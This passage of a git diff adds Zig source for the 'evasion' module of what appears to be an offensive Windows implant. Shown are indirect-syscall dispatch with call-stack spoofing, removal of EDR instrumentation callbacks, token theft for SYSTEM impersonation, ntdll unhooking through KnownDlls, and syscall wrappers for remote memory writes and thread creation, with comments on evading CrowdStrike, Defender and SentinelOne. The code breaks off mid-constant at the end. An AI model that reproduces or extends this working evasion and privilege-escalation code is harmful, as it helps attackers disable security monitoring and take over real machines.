nt.OptionalHeader.SizeOfImage; + + g_syscall_count = 0; + + // Walk section headers to find .text and .pdata bounds ??? scopes the + // gadget scans below so we don't match data constants in .rdata/.data. + { + const section_start = @as(usize, @intCast(@intFromPtr(nt) + 24 + 240)); + const sections = @as([*]align(1) extern struct { Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, SizeOfRawData: u32, PointerToRawData: u32, PointerToRelocations: u32, PointerToLinenumbers: u32, NumberOfRelocations: u16, NumberOfLinenumbers: u16, Characteristics: u32 }, @ptrFromInt(section_start)); + var text_va: usize = 0; + var text_size: usize = 0; + for (0..nt.FileHeader.NumberOfSections) |si| { + const sec = §ions[si]; + if (std.mem.eql(u8, sec.Name[0..5], ".text") and sec.Name[5] == 0) { + text_va = sec.VirtualAddress; + text_size = sec.VirtualSize; + } + if (sec.Name[0] == '.' and sec.Name[1] == 'p' and sec.Name[2] == 'd' and sec.Name[3] == 'a' and sec.Name[4] == 't' and sec.Name[5] == 'a') { + g_exc_begin = @intFromPtr(@as([*]u8, @ptrCast(g_ntdll_base.?)) + sec.VirtualAddress); + g_exc_count = sec.VirtualSize / @sizeOf(RUNTIME_FUNCTION); + } + } + if (text_va == 0 or text_size == 0) return false; + + // Scan .text for "syscall; ret" (0F 05 C3) gadgets + var j: usize = text_va; + const scan_end: usize = text_va + text_size; + while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) { + if (base_bytes[j] == 0x0F and base_bytes[j + 1] == 0x05 and base_bytes[j + 2] == 0xC3) { + g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]); + g_syscall_count += 1; + } + // Callstack spoof: find a standalone 0xC3 (ret) not part of + // syscall;ret. Pushed before jmp so kernel sees ntdll frames. + if (g_fake_return_addr == 0 and base_bytes[j] == 0xC3) { + if (j < 2 or base_bytes[j - 2] != 0x0F or base_bytes[j - 1] != 0x05) { + g_fake_return_addr = @intFromPtr(&base_bytes[j]); + } + } + } + + // Scan .text for jmp r10 gadget (41 FF E2) ??? CFG-aware IC nullifier + var scan_i: usize = text_va; + while (scan_i < scan_end - 3) : (scan_i += 1) { + if (base_bytes[scan_i] == 0x41 and base_bytes[scan_i + 1] == 0xFF and base_bytes[scan_i + 2] == 0xE2) { + g_jmp_r10_gadget = @intFromPtr(&base_bytes[scan_i]); + break; + } + } + } + + if (g_syscall_count == 0) return false; + + // Build FreshyCalls table ??? Nt* exports sorted by RVA, SSN = position + build_freshy_table(); + + g_init_done = true; + return true; +} + +// Core dispatcher: extract SSN ??? pick random syscall gadget ??? hells_gate to encrypt SSN ??? +// pack up to 11 args ??? call hell_descent assembly stub. Gadget address and SSN are XOR'd +// with a mask stored in the assembly data section (stack-based masking, not a real cipher). +pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) usize { + const ssn = extract_ssn(ssn_hash) orelse return @as(usize, 0xC0000001); + const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count; + const gadget = g_syscall_addrs[idx]; + // Callstack spoof: push a standalone ret from ntdll .text so the kernel sees + // ntdll frames on top. Gate to <5 args ??? 5+ arg syscalls have stack-based args + // at RSP+0x28+index*8 that our push would shift by 8 bytes. + // Ref: WithSecure CallStackSpoofer ??? https://github.com/WithSecureLabs/CallStackSpoofer + const fake: usize = if (arg_count < 5) g_fake_return_addr else 0; + hells_gate(@as(u32, ssn), gadget, fake); + const a = [11]usize{ + if (arg_count > 0) args[0] else 0, + if (arg_count > 1) args[1] else 0, + if (arg_count > 2) args[2] else 0, + if (arg_count > 3) args[3] else 0, + if (arg_count > 4) args[4] else 0, + if (arg_count > 5) args[5] else 0, + if (arg_count > 6) args[6] else 0, + if (arg_count > 7) args[7] else 0, + if (arg_count > 8) args[8] else 0, + if (arg_count > 9) args[9] else 0, + if (arg_count > 10) args[10] else 0, + }; + return hell_descent(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], a[10]); +} + +fn ntstatus(r: usize) win.NTSTATUS { + return @as(win.NTSTATUS, @bitCast(@as(u32, @truncate(r)))); +} + +// --------- NT API wrappers --------- +// Each packs its NT params into a [N]usize array and calls syscall_dispatch with a ror13 hash. + +// Standard sleep syscall. Spoofed ??? EDRs commonly hook SleepEx and derivatives. +pub fn nt_delay_execution(alertable: win.BOOLEAN, interval: *const win.LARGE_INTEGER) win.NTSTATUS { + const args = [_]usize{ @intFromBool(alertable != 0), @intFromPtr(interval) }; + return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDelayExecution"), &args, 2)); +} + +// Queries process info (PPI, PE flags, mitigation policies, etc). +pub fn nt_query_information_process(process_handle: win.HANDLE, info_class: u32, info: *anyopaque, info_len: u32, return_len: ?*u32) win.NTSTATUS { + const args = [_]usize{ @intFromPtr(process_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len), if (return_len) |rl| @intFromPtr(rl) else @as(usize, 0) }; + return ntstatus(syscall_dispatch(resolve.hash_ror13("NtQueryInformationProcess"), &args, 5)); +} + +// Sets thread properties (hide from debugger, etc). +pub fn nt_set_information_thread(thread_handle: win.HANDLE, info_class: u32, info: ?*const anyopaque, info_len: u32) win.NTSTATUS { + const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, info_class), if (info) |i| @intFromPtr(i) else @as(usize, 0), @as(usize, info_len) }; + return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationThread"), &args, 4)); +} + +// Closes a handle. Spoofed ??? EDRs monitor this as a way to detect handle leaks from unknown sources. +pub fn nt_close(handle: win.HANDLE) win.NTSTATUS { + const args = [_]usize{@intFromPtr(handle)}; + return ntstatus(syscall_dispatch(resolve.hash_ror13("NtClose"), &args, 1)); +} + +// Pseudo-handles: no need to open, just use these constants +pub fn nt_current_process() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF)); } +pub fn nt_current_thread() win.HANDLE { return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE)); } + +// Opens a handle to another process by PID. +pub fn nt_open_process(process_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *const win.OBJECT_ATTRIBUTES, client_id: *const win.CLIENT_ID) win.NTSTATUS { + const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(object_attributes), @intFromPtr(client_id) }; + return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcess"), &args, 4)); +} + +// Sets process-level properties. Spoofed because EDR callbacks use this API. +pub fn nt_set_information_process(process_handle: win.HANDLE, info_class: u32, info: *const anyopaque, info_len: u32) win.NTSTATUS { + const args = [_]usize{ @intFromPtr(process_handle), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len) }; + return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationProcess"), &args, 4)); +} + +// Escalates SeDebugPrivilege so that NtSetInformationProcess(InfoClass=40) can clear EDR +// process instrumentation callbacks. Silently skipped if any step fails — privilege escalation +// is best-effort (requires admin/elevated token on most systems). +// ponytail: heavily monitored — every major EDR watches NtSetInformationProcess(InfoClass=40) +// specifically. The call still works technically on Win10/Win11 but triggers immediate +// detection on CrowdStrike, Defender ATP, and SentinelOne. Runs last in startup chain so +// the "silence" isn't immediately flagged. Consider removing once further engagement +// data confirms this technique burns implants. +fn escalate_debug_priv() void { + const getcp = api.priv_get_current_process orelse return; + const open_tok = api.exec_open_process_token orelse return; + const lookup = api.priv_lookup_privilege_value_w orelse return; + const adjust = api.priv_adjust_token_privileges orelse return; + + var h_token: win.HANDLE = undefined; + if (open_tok(getcp(), win.TOKEN_ADJUST_PRIVILEGES | win.TOKEN_QUERY, &h_token) == 0) return; + defer _ = nt_close(h_token); + + var luid: win.LUID = undefined; + if (lookup(null, &[_:0]u16{ 'S', 'e', 'D', 'e', 'b', 'u', 'g', 'P', 'r', 'i', 'v', 'i', 'l', 'e', 'g', 'e' }, &luid) == 0) return; + + var tp = win.TOKEN_PRIVILEGES{ + .PrivilegeCount = 1, + .Privileges = [1]win.LUID_AND_ATTRIBUTES{.{ .Luid = luid, .Attributes = win.SE_PRIVILEGE_ENABLED }}, + }; + _ = adjust(h_token, 0, &tp, 0, null, null); +} + +// Removes kernel-level EDR instrumentation callbacks (InfoClass 40 = ProcessInstrumentationCallback). +// CFG-aware: on CFG-enabled systems (Win10 1709+ default), the kernel refuses to null the +// callback pointer. Instead we set it to a jmp r10 gadget in ntdll — the IC fires but +// immediately returns, effectively neutralizing the callback. +// Reference: https://cirosec.de/en/news/windows-instrumentation-callbacks-part-4/ +// WARNING: Heavily monitored. CrowdStrike, Defender ATP, and SentinelOne all watch +// NtSetInformationProcess(InfoClass=40) specifically. DbgMan (May 2026): removal of kernel +// callbacks is the domain of BYOVD driver techniques, not user-mode syscalls. Consider +// this technique burn-once — it is detectable by design and runs LAST in startup chain. +pub fn remove_edr_callbacks() void { + escalate_debug_priv(); + + const PI_CALLBACK: u32 = 40; + const callback = if (g_jmp_r10_gadget != 0) @as(*anyopaque, @ptrFromInt(g_jmp_r10_gadget)) else null; + var callbacks = win.PROCESS_INSTRUMENTATION_CALLBACK{ .Version = 0, .Reserved = 0, .Callback = callback }; + _ = nt_set_information_process(nt_current_process(), PI_CALLBACK, @ptrCast(&callbacks), @sizeOf(win.PROCESS_INSTRUMENTATION_CALLBACK)); +} + +// Allocates virtual memory in any process. Spoofed ??? high-value EDR target. +pub fn nt_allocate_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, zero_bits: win.ULONG_PTR, region_size: *win.SIZE_T, allocation_type: win.ULONG, protect: win.ULONG) win.NTSTATUS { + const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, zero_bits), @intFromPtr(region_size), @as(usize, allocation_type), @as(usize, protect) }; + return ntstatus(syscall_dispatch(resolve.hash_ror13("NtAllocateVirtualMemory"), &args, 6)); +} + +// Writes memory in any process. Spoofed ??? injection detection target. +pub fn nt_write_virtual_memory(process_handle: win.HANDLE, base_address: *anyopaque, buffer: [*]const u8, buffer_len: win.SIZE_T, bytes_written: ?*win.SIZE_T) win.NTSTATUS { + const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(buffer), @as(usize, buffer_len), if (bytes_written) |bw| @intFromPtr(bw) else @as(usize, 0) }; + return ntstatus(syscall_dispatch(resolve.hash_ror13("NtWriteVirtualMemory"), &args, 5)); +} + +// Changes page protection. Spoofed ??? commonly monitored for shellcode/RWX patterns. +pub fn nt_protect_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, region_size: *win.SIZE_T, new_protect: win.ULONG, old_protect: *win.ULONG) win.NTSTATUS { + const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(region_size), @as(usize, new_protect), @intFromPtr(old_protect) }; + return ntstatus(syscall_dispatch(resolve.hash_ror13("NtProtectVirtualMemory"), &args, 5)); +} + +// Creates a thread in any process. Spoofed ??? primary EDR/AV injection detection point. +pub fn nt_create_thread_ex(thread_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: ?*const win.OBJECT_ATTRIBUTES, process_handle: win.HANDLE, start_address: *anyopaque, parameter: ?*anyopaque, create_flags: win.ULONG, zero_bits: win.SIZE_T, stack_size: win.SIZE_T, max_stack_size: win.SIZE_T, attribute_list: ?*anyopaque) win.NTSTATUS { + const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromPtr(process_handle), @intFromPtr(start_address), if (parameter) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, create_flags), @as(usize, zero_bits), @as(usize, stack_size), @as(usize, max_stack_size), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) }; + return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateThreadEx"), &args, 11)); +} + +// Creates a new process. Spoofed ??? fork-and-run is the loudest IOC EDRs look for. +pub fn nt_create_user_process(process_handle: *win.HANDLE, thread_handle: *win.HANDLE, process_access: win.DWORD, thread_access: win.DWORD, process_oa: ?*const win.OBJECT_ATTRIBUTES, thread_oa: ?*const win.OBJECT_ATTRIBUTES, process_flags: win.ULONG, thread_flags: win.ULONG, process_parameters: ?*anyopaque, create_info: *win.PROCESS_CREATE_INFO, attribute_list: ?*anyopaque) win.NTSTATUS { + const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(thread_handle), @as(usize, process_access), @as(usize, thread_access), if (process_oa) |oa| @intFromPtr(oa) else @as(usize, 0), if (thread_oa) |oa| @intFromPtr(oa) else @as(usize, 0), @as(usize, process_flags), @as(usize, thread_flags), if (process_parameters) |pp| @intFromPtr(pp) else @as(usize, 0), @intFromPtr(create_info), if (attribute_list) |al| @intFromPtr(al) else @as(usize, 0) }; + return ntstatus(syscall_dispatch(resolve.hash_ror13("NtCreateUserProcess"), &args, 11)); +} + +// Controls ETW tracing sessions. Used to stop EDR provider GUIDs. +pub fn nt_trace_control(code: win.ULONG, input: ?*anyopaque, input_len: win.ULONG, output: ?*anyopaque, output_len: win.ULONG, ret_len: *win.ULONG) win.NTSTATUS { + const args = [_]usize{ @as(usize, code), if (input) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, input_len), if (output) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, output_len), @intFromPtr(ret_len) }; + return ntstatus(syscall_dispatch(resolve.hash_ror13("NtTraceControl"), &args, 6)); +} + +// Queries memory region info for an address range. +pub fn nt_query_virtual_memory(process: win.HANDLE, base: ?*const anyopaque, info_class: u32, info: *anyopaque, info_len: win.SIZE_T, ret_len: ?*win.SIZE_T) win.NTSTATUS { + const args = [_]usize{ @intFromPtr(process), @intFromPtr(base), @as(usize, info_class), @intFromPtr(info), @as(usize, info_len), if (ret_len) |p| @intFromPtr(p) else @as(usize, 0) }; + return ntstatus(syscall_dispatch(resolve.hash_ror13("NtQueryVirtualMemory"), &args, 6)); +} + +// Opens an existing section object by name. Used by ntdll unhooking to map \KnownDlls\ntdll.dll. +// Ref: https://ntdoc.m417z.com/ntopensection +pub fn nt_open_section(section_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *win.OBJECT_ATTRIBUTES) win.NTSTATUS { + const args = [_]usize{ @intFromPtr(section_handle), @as(usize, desired_access), @intFromPtr(object_attributes) }; + return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenSection"), &args, 3)); +} + +// Maps a view of a section into the virtual address space of a process. +// Ref: https://ntdoc.m417z.com/ntmapviewofsection +pub fn nt_map_view_of_section(section_handle: win.HANDLE, process_handle: win.HANDLE, base_address: *?*anyopaque, zero_bits: win.ULONG_PTR, commit_size: win.SIZE_T, section_offset: ?*win.LARGE_INTEGER, view_size: *win.SIZE_T, inherit_disposition: u32, allocation_type: win.ULONG, protect: win.ULONG) win.NTSTATUS { + const args = [_]usize{ @intFromPtr(section_handle), @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, @intCast(zero_bits)), @as(usize, commit_size), if (section_offset) |off| @intFromPtr(off) else @as(usize, 0), @intFromPtr(view_size), @as(usize, inherit_disposition), @as(usize, allocation_type), @as(usize, protect) }; + return ntstatus(syscall_dispatch(resolve.hash_ror13("NtMapViewOfSection"), &args, 10)); +} + +// Unmaps a view of a section. Ref: https://ntdoc.m417z.com/ntunmapviewofsection +pub fn nt_unmap_view_of_section(process_handle: win.HANDLE, base_address: ?*anyopaque) win.NTSTATUS { + const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address) }; + return ntstatus(syscall_dispatch(resolve.hash_ror13("NtUnmapViewOfSection"), &args, 2)); +} + +// Opens the access token associated with a process. Used by token theft. +// Ref: https://ntdoc.m417z.com/ntopenprocesstoken +pub fn nt_open_process_token(process_handle: win.HANDLE, desired_access: win.DWORD, token_handle: *win.HANDLE) win.NTSTATUS { + const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(token_handle) }; + return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcessToken"), &args, 3)); +} + +// Duplicates a token handle. Used to create an impersonation token from a primary token. +// Ref: https://ntdoc.m417z.com/ntduplicatetoken +pub fn nt_duplicate_token(existing_token: win.HANDLE, desired_access: win.DWORD, object_attributes: ?*win.OBJECT_ATTRIBUTES, effective_only: win.BOOLEAN, token_type: win.DWORD, new_token: *win.HANDLE) win.NTSTATUS { + const args = [_]usize{ @intFromPtr(existing_token), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromBool(effective_only != 0), @as(usize, token_type), @intFromPtr(new_token) }; + return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDuplicateToken"), &args, 6)); +} \ No newline at end of file diff --git a/evasion/token.zig b/evasion/token.zig new file mode 100644 index 0000000..9837f8a --- /dev/null +++ b/evasion/token.zig @@ -0,0 +1,49 @@ +// Token impersonation — steal token from target process, revert to self. +// All calls via indirect syscalls. +// Ref: https://ntdoc.m417z.com/ntopenprocesstoken, https://ntdoc.m417z.com/ntduplicatetoken +// MITRE: T1134.001 (Access Token Manipulation) +const std = @import("std"); +const syscall = @import("syscall.zig"); +const win = @import("win32.zig"); + +const ThreadImpersonationToken: u32 = 5; // phnt ntpsapi.h THREADINFOCLASS enum + +// Steals the token from a target process and impersonates it on the current thread. +// pid: target process ID (e.g. winlogon.exe for SYSTEM). +pub fn stealToken(pid: u32) bool { + var cid = std.mem.zeroes(win.CLIENT_ID); + cid.UniqueProcess = @ptrFromInt(@as(usize, pid)); + var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES); + oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES); + + var proc_handle: win.HANDLE = undefined; + if (!win.NT_SUCCESS(syscall.nt_open_process(&proc_handle, win.PROCESS_QUERY_LIMITED_INFORMATION, &oa, &cid))) + return false; + defer _ = syscall.nt_close(proc_handle); + + var token_handle: win.HANDLE = undefined; + if (!win.NT_SUCCESS(syscall.nt_open_process_token(proc_handle, win.TOKEN_DUPLICATE | win.TOKEN_QUERY | win.TOKEN_IMPERSONATE, &token_handle))) + return false; + defer _ = syscall.nt_close(token_handle); + + var dup_token: win.HANDLE = undefined; + if (!win.NT_SUCCESS(syscall.nt_duplicate_token(token_handle, win.MAXIMUM_ALLOWED, null, 0, @intFromEnum(win.TOKEN_TYPE.TokenImpersonation), &dup_token))) + return false; + defer _ = syscall.nt_close(dup_token); + + return win.NT_SUCCESS(syscall.nt_set_information_thread( + syscall.nt_current_thread(), + ThreadImpersonationToken, + @ptrCast(&dup_token), @sizeOf(win.HANDLE), + )); +} + +// Reverts to the process's primary token, stopping impersonation. +// nt_set_information_thread now accepts ?*const anyopaque — null + 0 → revert. +pub fn rev2self() bool { + return win.NT_SUCCESS(syscall.nt_set_information_thread( + syscall.nt_current_thread(), + ThreadImpersonationToken, + null, 0, + )); +} diff --git a/evasion/unhook.zig b/evasion/unhook.zig new file mode 100644 index 0000000..fb21418 --- /dev/null +++ b/evasion/unhook.zig @@ -0,0 +1,111 @@ +// NTDLL unhooking — maps clean .text from \KnownDlls section object, overwrites EDR hooks. +// Ref: https://ntdoc.m417z.com/ntopensection +// MITRE: T1562.001 (Disable or Modify Tools) +// DETECTION: Heavily signatured. DbgMan (May 2026): "CrowdStrike Falcon and SentinelOne +// deploy signature detection for the unhooking byte-sequence pattern. Microsoft Defender +// for Endpoint relies primarily on kernel callbacks and the ETW-TI provider rather than +// user-mode inline hooks, making the entire user-mode unhook step strategically irrelevant +// against MDE." Kept for environments without these EDRs. FreshyCalls (syscalls that +// bypass hooks without unhooking) is the preferred approach. +const std = @import("std"); +const syscall = @import("syscall.zig"); +const resolve = @import("resolve.zig"); +const win = @import("win32.zig"); + +var g_unhooked: bool = false; + +// Restores clean ntdll .text by mapping the \KnownDlls\ntdll.dll section object. +// EDR inline hooks live in the per-process ntdll copy. \KnownDlls holds the +// original unmodified image mapped at boot by the kernel as a section object. +// We map it into our process, copy clean .text over our hooked .text, and unmap. +pub fn unhookNtdll() void { + if (g_unhooked) return; + g_unhooked = true; + + // Resolve ntdll base via ror13 hash (same as syscall.zig does) + const ntdll_hash = resolve.hash_ror13("ntdll.dll"); + const our_base = resolve.get_module_by_hash(ntdll_hash) orelse return; + const our_bytes = @as([*]u8, @ptrCast(our_base)); + + // Parse PE headers to find .text bounds + const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@alignCast(our_bytes))); + if (dos.e_magic != 0x5A4D) return; + + const nt = @as(*align(1) extern struct { + Signature: u32, + FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, + OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 }, + }, @ptrCast(@alignCast(our_bytes + @as(usize, @intCast(dos.e_lfanew))))); + if (nt.Signature != 0x00004550) return; + + var text_va: usize = 0; + var text_size: usize = 0; + const section_off = dos.e_lfanew + 4 + 20 + 240; + const sections = @as([*]align(1) extern struct { + Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, pad: [12]u8, Characteristics: u32, + }, @ptrFromInt(@intFromPtr(our_bytes) + @as(usize, @intCast(section_off)))); + for (0..nt.FileHeader.NumberOfSections) |i| { + if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) { + text_va = sections[i].VirtualAddress; + text_size = sections[i].VirtualSize; + break; + } + } + if (text_va == 0 or text_size == 0) return; + + // Open \KnownDlls\ntdll.dll section object + const name = [_:0]u16{ '\\', 'K', 'n', 'o', 'w', 'n', 'D', 'l', 'l', 's', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0 }; + var us: win.UNICODE_STRING = .{ + .Length = (@sizeOf(@TypeOf(name)) - 2), + .MaximumLength = @sizeOf(@TypeOf(name)), + .Buffer = @constCast(@ptrCast(&name)), + }; + var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES); + oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES); + oa.ObjectName = &us; + oa.Attributes = win.OBJ_CASE_INSENSITIVE; + + var section_handle: win.HANDLE = undefined; + if (!win.NT_SUCCESS(syscall.nt_open_section(§ion_handle, win.SECTION_MAP_READ, &oa))) + return; + defer _ = syscall.nt_close(section_handle); + + // Map the section into our process + var view_base: ?*anyopaque = null; + var view_size: win.SIZE_T = 0; + _ = syscall.nt_map_view_of_section( + section_handle, syscall.nt_current_process(), + &view_base, 0, 0, null, &view_size, 2, // ViewUnmap = 2 + 0, win.PAGE_READONLY, + ); + + if (view_base != null and view_size >= text_size) { + // Copy clean .text from mapped section to our process's ntdll + const clean_base = @as([*]u8, @ptrCast(view_base)); + const our_text = our_bytes[text_va .. text_va + text_size]; + + // Make our .text writable for the copy + var region_size: win.SIZE_T = text_size; + var old_prot: win.DWORD = 0; + var base_ptr: ?*anyopaque = @ptrCast(&our_bytes[text_va]); + if (!win.NT_SUCCESS(syscall.nt_protect_virtual_memory( + syscall.nt_current_process(), + &base_ptr, ®ion_size, + win.PAGE_READWRITE, &old_prot, + ))) return; + + @memcpy(our_text, clean_base[0..text_size]); + + // Restore protection + base_ptr = @ptrCast(&our_bytes[text_va]); + region_size = text_size; + _ = syscall.nt_protect_virtual_memory( + syscall.nt_current_process(), + &base_ptr, ®ion_size, + win.PAGE_EXECUTE_READ, &old_prot, + ); + } + + // Cleanup + if (view_base) |b| _ = syscall.nt_unmap_view_of_section(syscall.nt_current_process(), b); +} diff --git a/evasion/win32.zig b/evasion/win32.zig new file mode 100644 index 0000000..3b9b75c --- /dev/null +++ b/evasion/win32.zig @@ -0,0 +1,469 @@ +// Win32 type aliases, constants, and struct definitions ??? data layout only, no function types. +const std = @import("std"); + +pub const WINAPI = std.builtin.CallingConvention.winapi; + +pub const CHAR = i8; +pub const UCHAR = u8; +pub const BYTE = u8; +pub const WORD = u16; +pub const WCHAR = u16; +pub const SHORT = i16; +pub const INT = i32; +pub const UINT = u32; +pub const LONG = i32; +pub const DWORD = u32; +pub const DWORD64 = u64; +pub const ULONG = u32; +pub const LONGLONG = i64; +pub const ULONGLONG = u64; +pub const BOOL = i32; +pub const BOOLEAN = u8; +pub const NTSTATUS = i32; +pub const HRESULT = i32; +pub const SIZE_T = usize; +pub const DWORD_PTR = usize; +pub const UINT_PTR = usize; +pub const ULONG_PTR = usize; +pub const LONG_PTR = isize; +pub const LARGE_INTEGER = i64; +pub const INTERNET_PORT = u16; + +pub const LPVOID = *anyopaque; +pub const LPCVOID = *const anyopaque; +pub const HANDLE = *anyopaque; +pub const PHANDLE = *HANDLE; +pub const HMODULE = *anyopaque; +pub const HINSTANCE = *anyopaque; +pub const HINTERNET = *anyopaque; + +pub const LPSTR = [*:0]u8; +pub const LPCSTR = [*:0]const u8; +pub const LPWSTR = [*:0]u16; +pub const LPCWSTR = [*:0]const u16; + +pub const PDWORD = *DWORD; +pub const PULONG = *ULONG; +pub const PSIZE_T = *SIZE_T; +pub const PBOOL = *BOOL; + +pub const FARPROC = *const fn() callconv(WINAPI) isize; + +pub inline fn NT_SUCCESS(status: NTSTATUS) bool { + return status >= 0; +} + +pub const MEM_COMMIT: ULONG = 0x00001000; +pub const MEM_RESERVE: ULONG = 0x00002000; +pub const MEM_RELEASE: ULONG = 0x00008000; + +pub const PAGE_NOACCESS: ULONG = 0x01; +pub const PAGE_READONLY: ULONG = 0x02; +pub const PAGE_READWRITE: ULONG = 0x04; +pub const DLL_PROCESS_ATTACH: ULONG = 1; +pub const PAGE_EXECUTE: ULONG = 0x10; +pub const PAGE_EXECUTE_READ: ULONG = 0x20; +pub const PAGE_EXECUTE_READWRITE: ULONG = 0x40; + +pub const CONTEXT_AMD64: DWORD = 0x00100000; +pub const CONTEXT_DEBUG_REGISTERS: DWORD = CONTEXT_AMD64 | 0x00000010; // 0x00100010 + +pub const EXCEPTION_SINGLE_STEP: DWORD = 0x80000004; +pub const EXCEPTION_CONTINUE_EXECUTION: LONG = -1; +pub const EXCEPTION_CONTINUE_SEARCH: LONG = 0; + +// process/startup constants + structures +pub const STARTF_USESTDHANDLES: DWORD = 0x00000100; + +pub const EXTENDED_STARTUPINFO_PRESENT: DWORD = 0x00080000; +pub const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS: DWORD_PTR = 0x00020000; + +pub const STARTUPINFOEXA = extern struct { + StartupInfo: STARTUPINFOA, + lpAttributeList: ?*anyopaque, +}; + +pub const CREATE_NO_WINDOW: DWORD = 0x08000000; + +// Section access rights ??? for NtOpenSection / NtMapViewOfSection +pub const SECTION_MAP_READ: DWORD = 0x0004; +pub const SECTION_MAP_WRITE: DWORD = 0x0002; +pub const SECTION_MAP_EXECUTE: DWORD = 0x0008; + +pub const PROCESS_QUERY_INFORMATION: DWORD = 0x0400; +pub const PROCESS_QUERY_LIMITED_INFORMATION: DWORD = 0x1000; +pub const PROCESS_CREATE_PROCESS: DWORD = 0x0080; +pub const MAXIMUM_ALLOWED: DWORD = 0x02000000; + +// Object attribute flags +pub const OBJ_CASE_INSENSITIVE: ULONG = 0x00000040; + +pub const MAX_PATH: usize = 260; + +pub const WINHTTP_FLAG_SECURE: ULONG = 0x00800000; +pub const WINHTTP_ACCESS_TYPE_DEFAULT_PROXY: ULONG = 0; +pub const WINHTTP_ACCESS_TYPE_NAMED_PROXY: ULONG = 3; +pub const WINHTTP_ADDREQ_FLAG_ADD_IF_NEW: ULONG = 0x10000000; +pub const WINHTTP_OPTION_ENABLE_HTTP2_PROTOCOL: ULONG = 133; +pub const WINHTTP_PROTOCOL_FLAG_HTTP2: ULONG = 0x1; + +pub const WINHTTP_WEB_SOCKET_BUFFER_TYPE = enum(u32) { + BINARY_MESSAGE = 0, + BINARY_FRAGMENT = 1, + UTF8_MESSAGE = 2, + UTF8_FRAGMENT = 3, + CLOSE = 4, +}; + +pub const IMAGE_DIRECTORY_ENTRY_EXPORT: usize = 0; +pub const IMAGE_SYM_CLASS_EXTERNAL: u8 = 2; +pub const IMAGE_FILE_MACHINE_AMD64: u16 = 0x8664; + +pub const IMAGE_REL_AMD64_ABSOLUTE: u16 = 0x0000; +pub const IMAGE_REL_AMD64_ADDR64: u16 = 0x0001; +pub const IMAGE_REL_AMD64_ADDR32: u16 = 0x0002; +pub const IMAGE_REL_AMD64_ADDR32NB: u16 = 0x0003; +pub const IMAGE_REL_AMD64_REL32: u16 = 0x0004; +pub const IMAGE_REL_AMD64_REL32_1: u16 = 0x0005; +pub const IMAGE_REL_AMD64_REL32_2: u16 = 0x0006; +pub const IMAGE_REL_AMD64_REL32_3: u16 = 0x0007; +pub const IMAGE_REL_AMD64_REL32_4: u16 = 0x0008; +pub const IMAGE_REL_AMD64_REL32_5: u16 = 0x0009; + +pub const COFF_SECT_EXEC: u32 = 0x20000000; +pub const COFF_SECT_WRITE: u32 = 0x80000000; +pub const COFF_SECT_DATA: u32 = 0x40000000; + +pub const BCRYPT_AES_ALGORITHM: LPCWSTR = &[_:0]u16{ 'a', 'e', 's' }; +pub const BCRYPT_CHAINING_MODE: LPCWSTR = &[_:0]u16{ 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e' }; +pub const BCRYPT_CHAIN_MODE_GCM: LPCWSTR = &[_:0]u16{ 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', 'G', 'C', 'M' }; +pub const BCRYPT_USE_SYSTEM_PREFERRED_RNG: ULONG = 0x00000002; + +pub const BCRYPT_ECDH_P256_ALGORITHM: LPCWSTR = &[_:0]u16{ 'E', 'C', 'D', 'H', '_', 'P', '2', '5', '6' }; +pub const BCRYPT_ECCPUBLIC_BLOB: LPCWSTR = &[_:0]u16{ 'E', 'C', 